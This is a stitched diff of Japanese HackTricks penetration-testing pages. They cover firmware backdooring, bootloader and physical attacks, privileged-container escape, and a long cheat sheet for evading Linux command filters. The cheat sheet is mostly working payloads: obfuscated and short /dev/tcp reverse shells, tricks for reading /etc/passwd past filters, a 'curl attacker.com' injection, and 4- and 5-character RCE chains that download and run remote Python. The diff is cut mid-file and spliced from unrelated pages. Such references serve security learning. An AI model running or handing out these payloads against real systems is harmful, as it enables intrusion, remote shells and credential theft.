sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
### MIPSアーキテクチャのエミュレーション
MIPSビッグエンディアンの場合、`qemu-mips`が使用され、リトルエンディアンバイナリの場合は`qemu-mipsel`が選択されます。
### ARMアーキテクチャのエミュレーション
ARMバイナリの場合、`qemu-arm`エミュレータが使用されます。
### フルシステムエミュレーション
[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)などのツールは、フルファームウェアエ

View file

@ -0,0 +1,56 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです
1. **ブートローダーのインタープリターシェルにアクセス**
- 起動中に "0"、スペース、または他の特定の "マジックコード" を押して、ブートローダーのインタープリターシェルにアクセスします。
2. **ブート引数の変更**
- 以下のコマンドを実行して、ブート引数に '`init=/bin/sh`' を追加し、シェルコマンドを実行できるようにします:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **TFTPサーバーの設定**
- ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを構成します
%%%
#setenv ipaddr 192.168.2.2 #デバイスのローカルIP
#setenv serverip 192.168.2.1 #TFTPサーバーのIP
#saveenv
#reset
#ping 192.168.2.1 #ネットワークアクセスを確認
#tftp ${loadaddr} uImage-3.6.35 #loadaddrはファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名を取ります
%%%
4. **`ubootwrite.py`の利用**
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを取得するために変更されたファームウェアをプッシュします。
5. **デバッグ機能の確認**
- デバッグ機能が有効になっているかどうかを確認します。詳細なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなど。
6. **注意深いハードウェア干渉**
- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが解凍される前にSPIまたはNANDフラッシュチップとやり取りする際には、極めて注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
7. **ローグDHCPサーバーの設定**
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitMSFのDHCP補助サーバーなどのツールを利用します。 'FILENAME'パラメータを`'a";/bin/sh;#'`などのコマンドインジェクションコマンドで変更して、デバイスの起動手順の入力検証をテストします。
**注意**: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷させないように極めて注意してアプローチする必要があります。
## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)

View file

@ -0,0 +1,58 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
## ファームウェアの整合性
**カスタムファームウェアやコンパイルされたバイナリをアップロードして整合性や署名検証の欠陥を悪用**することができます。バックドアバインドシェルのコンパイルには次の手順が続けられます:
1. ファームウェアはfirmware-mod-kitFMKを使用して抽出できます。
2. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
3. Buildrootや他の環境に適した方法を使用して、クロスコンパイラを構築できます。
4. クロスコンパイラを使用してバックドアを構築できます。
5. バックドアを抽出されたファームウェアの/usr/binディレクトリにコピーできます。
6. 適切なQEMUバイナリを抽出されたファームウェアのrootfsにコピーできます。
7. chrootとQEMUを使用してバックドアをエミュレートできます。
8. バックドアにはnetcatを介してアクセスできます。
9. QEMUバイナリは抽出されたファームウェアのrootfsから削除する必要があります。
10. FMKを使用して修正されたファームウェアを再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア解析ツールキットFATを使用してエミュレートし、netcatを使用してターゲットのバックドアIPとポートに接続することでテストできます。
既にダイナミック解析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルを取得している場合、インプラントやリバースシェルなどの事前にコンパイルされた悪意のあるバイナリを実行できます。Metasploitフレームワークや'msfvenom'などの自動ペイロード/インプラントツールを使用する場合は、次の手順を使用できます:
1. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
2. Msfvenomを使用して、ターゲットペイロード、攻撃者のホストIP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認できます。
4. Metasploitを準備して、msfconsoleを起動し、設定をペイロードに応じて構成できます。
5. 侵害されたデバイスでmeterpreterリバースシェルを実行できます。
6. 開かれるmeterpreterセッションを監視できます。
7. ポストエクスプロイテーション活動を実行できます。
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動時にデバイスに持続的なアクセス権を取得することができます。これらの脆弱性は、起動スクリプトが、SDカードやルートファイルシステム以外のデータを保存するために使用されるフラッシュボリュームなどの信頼できないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存している場合に発生します。
## 参考文献
* 詳細については、[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)を参照してください。
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -0,0 +1,67 @@
# Physical Attacks
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
## BIOSパスワードの回復とシステムセキュリティ
**BIOSのリセット**はいくつかの方法で達成できます。ほとんどのマザーボードには、BIOS設定、パスワードを含む、をリセットする**バッテリー**が含まれており、約**30分**取り外すとリセットされます。また、マザーボード上の**ジャンパー**を調整して特定のピンを接続することで、これらの設定をリセットすることもできます。
ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**などのディストリビューションを使用して**Live CD/USB**からシステムを実行すると、_**killCmos**_や_**CmosPWD**_などのツールにアクセスでき、BIOSパスワードの回復に役立ちます。
BIOSパスワードが不明な場合、それを**3回間違えて**入力すると通常エラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得する可能性があります。
### UEFIセキュリティ
従来のBIOSの代わりに**UEFI**を使用する現代のシステムでは、**chipsec**ツールを使用して、**Secure Boot**の無効化を含むUEFI設定の分析と変更が可能です。次のコマンドでこれを実行できます
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM分析とCold Boot攻撃
RAMは、通常**1〜2分**の間、電源が切断された後もデータを一時的に保持します。この持続性は、液体窒素などの冷却物質を適用することで**10分**まで延長できます。この拡張された期間中、**dd.exe**や**volatility**などのツールを使用して**メモリダンプ**を作成し、分析することができます。
### 直接メモリアクセスDMA攻撃
**INCEPTION**は、**FireWire**や**Thunderbolt**などのインターフェースと互換性があり、DMAを介した**物理メモリ操作**のためのツールです。これにより、メモリをパッチして任意のパスワードを受け入れることで、ログイン手順をバイパスできます。ただし、**Windows 10**システムには効果がありません。
### システムアクセスのためのLive CD/USB
_**sethc.exe**_や_**Utilman.exe**_などのシステムバイナリを_**cmd.exe**_のコピーで変更すると、システム特権を持つコマンドプロンプトを提供できます。**chntpw**などのツールを使用して、Windowsインストールの**SAM**ファイルを編集してパスワードを変更できます。
**Kon-Boot**は、Windowsシステムにログインするのを容易にするツールで、WindowsカーネルやUEFIを一時的に変更することでパスワードを知らずにログインできます。詳細は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。
### Windowsセキュリティ機能の取り扱い
#### ブートおよびリカバリのショートカット
* **Supr**: BIOS設定にアクセスします。
* **F8**: リカバリモードに入ります。
* Windowsバナーの後に**Shift**キーを押すと、自動ログオンをバイパスできます。
#### BAD USBデバイス
**Rubber Ducky**や**Teensyduino**などのデバイスは、悪意のあるUSBデバイスを作成するプラットフォームとして機能し、ターゲットコンピュータに接続されると事前定義されたペイロードを実行できます。
#### ボリュームシャドウコピー
管理者特権を使用すると、PowerShellを介して**SAM**ファイルなどの機密ファイルのコピーを作成できます。
### BitLocker暗号のバイパス
BitLocker暗号は、メモリダンプファイル**MEMORY.DMP**)内に**回復パスワード**が見つかった場合にバイパスできる可能性があります。この目的のために**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**などのツールを利用できます。
### リカバリキーの追加のためのソーシャルエンジニアリング
新しいBitLockerリカバリキーは、ユーザーに新しいリカバリキーを追加するコマンドを実行させることで追加でき、これによりゼロで構成された新しいリカバリキーが復号化プロセスを簡素化します。

View file

@ -0,0 +1,361 @@
# Linuxの制限をバイパスする
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 一般的な制限バイパス
### リバースシェル
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### 短いRevシェル
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### パスと禁止ワードのバイパス
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### 禁止されたスペースをバイパスする
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### バックスラッシュとスラッシュをバイパスする
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### パイプをバイパス
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### ヘックスエンコーディングを使用してバイパス
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### IPアドレスのバイパス
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### 時間ベースのデータ流出
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### 環境変数から文字を取得する
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNSデータの外部流出
例えば**burpcollab**または[**pingb**](http://pingb.in)を使用できます。
### 組み込みコマンド
外部関数を実行できず、**RCEを取得するために組み込みコマンドの限られたセットにアクセス**しかできない場合、それを行うための便利なトリックがいくつかあります。通常、**すべての組み込みコマンドを使用できない**ことが多いので、刑務所をバイパスしようとするために**すべてのオプションを知っておく必要があります**。[**devploit**](https://twitter.com/devploit)からのアイデア。\
まず、すべての[**シェル組み込みコマンド**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**を確認してください**。次に、以下にいくつかの**推奨事項**があります:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### ポリグロットコマンドインジェクション
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### 潜在的な正規表現のバイパス
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
### バッシュファスケータ
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### 5文字でのRCE
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### 4文字でのRCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## 読み取り専用/Noexec/Distroless バイパス
**読み取り専用および noexec 保護**が有効なファイルシステム内にいる場合、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。シェルさえも実行できます!**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot および他の Jails バイパス
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
{% endcontent-ref %}
## 参考文献とその他
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。
</details>

View file

@ -7,8 +7,8 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)****[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>
@ -20,17 +20,13 @@
特権付きコンテナでは、すべての**デバイスに `/dev/` でアクセス**できます。そのため、ホストのディスクを**マウント**して**脱出**することができます。
{% tabs %}
{% tab title="デフォルトコンテナ内部" %}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{% endtab %}
{% tab title="特権コンテナ内部" %}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -40,9 +36,11 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
### 読み取り専用のカーネルファイルシステム
#### 読み取り専用のカーネルファイルシステム
カーネルファイルシステムは、プロセスがカーネルの動作を変更する仕組みを提供します。ただし、コンテナプロセスの場合、カーネルに変更を加えることを防ぎたいです。したがって、コンテナ内でカーネルファイルシステムを**読み取り専用**でマウントし、コンテナプロセスがカーネルを変更できないようにします。
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -51,13 +49,12 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{% endtab %}
{% tab title="特権コンテナ内部" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
### カーネルファイルシステムのマスキング
**/proc**ファイルシステムは選択的に書き込み可能ですが、セキュリティのため、一部の部分は**tmpfs**でオーバーレイされ、コンテナプロセスが機密領域にアクセスできないように読み書きアクセスが遮断されています。
@ -82,9 +79,10 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
### Linux capabilities
コンテナエンジンは、コンテナを**デフォルトで内部で何が起こるかを制御するために、**制限された数の機能**で起動します。**特権**を持つものは、**すべて**の**機能**にアクセスできます。機能について学ぶには、以下を参照してください:
#### Linux capabilities
コンテナエンジンは、コンテナを**デフォルトで内部で何が起こるかを制御するために、制限された数の機能で起動します。特権を持つものは、すべての**機能\*\*にアクセスできます。機能について学ぶには、以下を参照してください:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -116,13 +114,14 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
コンテナで利用可能な機能を`--privileged`モードで実行せずに、`--cap-add`および`--cap-drop`フラグを使用して操作することができます。
### Seccomp
#### Seccomp
